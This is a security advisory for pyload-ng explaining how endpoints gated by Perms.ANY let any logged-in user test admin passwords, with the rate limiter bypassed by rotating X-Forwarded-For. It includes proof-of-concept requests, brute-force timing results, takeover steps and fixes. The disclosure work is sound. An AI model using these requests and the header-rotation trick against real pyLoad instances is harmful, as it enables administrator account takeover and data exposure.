GHSA-68w4-83fh-f2w8
pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password
- Severity
- 8.1 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- —
- No score published
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-287 Improper Authentication
- Fix
- None yet
- No fixed version published
Description
Summary
Api.getUserData (legacy) and Api.get_userdata are declared with @permission(Perms.ANY) and are reachable at /api/getUserData and /api/get_userdata. Because Perms.ANY == 0 and pyLoad's permission check is a bitmask AND, that gate is a no-op: every authenticated account passes, including one holding zero permission bits.
Both methods are thin wrappers around check_auth(), which the maintainers deliberately restricted to administrators by omitting @permission (no entry in perm_map, so is_authorized() returns False for non-admins). The wrappers undo that protection.
An attacker holding the lowest-privileged account in the system therefore has a clean binary oracle on the administrator password, with no account lockout anywhere in the codebase, and with the 100 req/min rate limiter bypassable by rotating X-Forwarded-For.
Affected code
src/pyload/core/api/__init__.py:1446 and :1464
#: Old API
@permission(Perms.ANY)
@get
def getUserData(self, username: str, password: str) -> OldUserData:
"""
similar to `check_auth` but returns UserData type.
"""
user = self.check_auth(username, password)
...
@permission(Perms.ANY)
@get
def get_userdata(self, username: str, password: str) -> UserData:
user = self.check_auth(username, password)
...
Root cause
src/pyload/core/api/__init__.py:57
class Perms(IntFlag):
ANY = 0 #: requires no permission, but login
src/pyload/core/api/__init__.py:108
def has_permission(user_perms: Perms, required_perms: Perms):
return required_perms == (user_perms & required_perms)
For required_perms == 0 this evaluates to 0 == (user_perms & 0) → 0 == 0 → always True. The @permission(Perms.ANY) gate therefore admits every authenticated principal regardless of which permission bits they hold.
Contrast with the intended admin-only primitive, src/pyload/core/api/__init__.py:1396:
@legacy("checkAuth")
@get
def check_auth(self, username: str, password: str) -> dict[str, Any]:
check_auth has no @permission; is_authorized() at api/__init__.py:1430 returns False for non-admins. The two wrappers carry Perms.ANY and restore access for everyone.
Because both wrappers also carry @get, they are placed in method_map and are directly routable via /api/<func>.
Amplifiers
1. No lockout. There is no failed-login counter, delay, or ban anywhere in the codebase. A failed guess costs the attacker only one PBKDF2 computation.
2. Rate limiting is bypassable. /api/* applies rate_limit(count=100, period=60) (src/pyload/webui/app/blueprints/api_blueprint.py:25), which buckets on a fully client-controlled header (src/pyload/webui/app/helpers.py:446):
client_ip = flask.request.headers.get("X-Forwarded-For", "").split(",")[0].strip() \
or flask.request.remote_addr
Rotating X-Forwarded-For per request yields a fresh bucket each time. Notably, is_loopback_request() in the same file (helpers.py:288-294) explicitly treats the presence of X-Forwarded-For / X-Real-IP / Forwarded as untrustworthy — the same guard was evidently not applied inside rate_limit().
Impact
Online brute force of the administrator account leading to full administrative takeover. A successful response additionally discloses the target account's id, name, email, role, and permission bits.
Proof of concept
Verified against 0.5.0b3, commit a5b008958.
Setup: stock instance with admin pyload, plus a non-admin user bob created with role=USER and permission=0.
Step 1 — establish that bob is genuinely unprivileged:
GET /api/checkAuth?username=pyload&password=pyload -> 401 {"error": "Access denied"}
GET /api/getAllUserData -> 401 {"error": "Access denied"}
Step 2 — the flaw. Same user, same session, Perms.ANY gate:
GET /api/getUserData?username=pyload&password=WRONG
-> 200 {"name": null, "email": null, "role": null, "permission": null, "template_name": null}
GET /api/getUserData?username=pyload&password=pyload
-> 200 {"name": "pyload", "email": "", "role": 0, "permission": 0, "template_name": "default"}
role: 0 is Role.ADMIN. get_userdata behaves identically. This is a perfect yes/no oracle.
Step 3 — measured brute force and recovery. Run as bob (permission = 0), admin password set to a 2-character value, X-Forwarded-For rotated on every request:
attempts : 667
elapsed : 39.7s (16.8 guesses/sec)
429 rate-limits : 0
account lockout : NONE - same session authenticated throughout
RECOVERED SECRET : 'zq' (true value 'zq') match=True
Step 4 — full takeover with the recovered secret:
POST /login as pyload/<recovered> -> HTTP 302 (authenticated as admin)
GET /api/getAllUserData (admin-only) -> HTTP 200 (full user dump)
Measured throughput is 17-47 guesses/sec/thread. The only bound is PBKDF2-HMAC-SHA256 at 100,000 iterations in src/pyload/core/database/user_database.py:14, not any rate limit.
Suggested remediation
- Remove
@permission(Perms.ANY)fromgetUserDataandget_userdata, or drop them entirely — they are legacy compatibility shims, and modern callers already use the admin-onlycheck_auth. - Structurally:
Perms.ANY = 0makeshas_permission()vacuous, so any method decorated@permission(Perms.ANY)silently becomes public to every logged-in user. GiveANYa real bit value, or handle it explicitly inhas_permission()as "requires an authenticated session". - Do not trust
X-Forwarded-Forunless a trusted-proxy deployment is explicitly configured. Otherwise bucketrate_limit()onrequest.remote_addr, or add the same guardis_loopback_request()already uses. - Add per-account failed-authentication throttling or lockout.
- Consider
hmac.compare_digest()in_check_password()(src/pyload/core/database/user_database.py:61uses a plain==on the derived hash, contradicting the "always use compare_digest" guidance two files away).
Notes for triage
There is no 0.5.0b3 release on PyPI. The develop branch auto-publishes dev builds (setup.py:86 appends .dev<build> to the VERSION file); the newest at time of testing was 0.5.0b3.dev101. The Perms.ANY = 0 design is long-standing, but only the 0.5.0b3.dev* line was verified here — please confirm whether 0.5.0b2.* and 0.4.x are affected before finalizing the version range.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| pyload-ng | >= 0.5.0b3.dev1, <= 0.5.0b3.dev101 |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-287: Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
How to prevent it
- Architecture and Design: Use an authentication framework or library such as the OWASP ESAPI Authentication feature.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-9q47-3cm2-2rp8 pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header | Medium | Also affects pyload-ng |
| GHSA-jq7h-wrvp-3rgx pyLoad: Privilege revocation and password change through the REST API do not invalidate the user's session | High | Also affects pyload-ng |
| GHSA-889w-m37p-88m5 pyLoad: Api.set_user_permission never invalidates the target's session | High | Also affects pyload-ng |
| GHSA-p3pr-8f3m-4qp8 pyLoad WindowsPhoneNotify addon: non-admin SETTINGS user triggers SSRF via unguarded http.client notification host | Medium | Also affects pyload-ng |
| GHSA-fr26-jjhm-638c pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=) | High | Also affects pyload-ng |
| GHSA-r44w-v6gf-x3p6 pyLoad has an authentication bypass in API key validation (check_apikey cache) | High | Also affects pyload-ng |
| GHSA-j92p-c242-7hfx pyLoad: Unauthenticated access to /web/<path:filename> bypasses authentication on sensitive templates and leaks internal error details via exception attribute typo | Medium | Also affects pyload-ng |
| GHSA-vq8p-m3wm-gv5f pyLoad: Lack of Input Size Validation Leads to Denial of Service (DoS) and Process Termination | Medium | Also affects pyload-ng |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor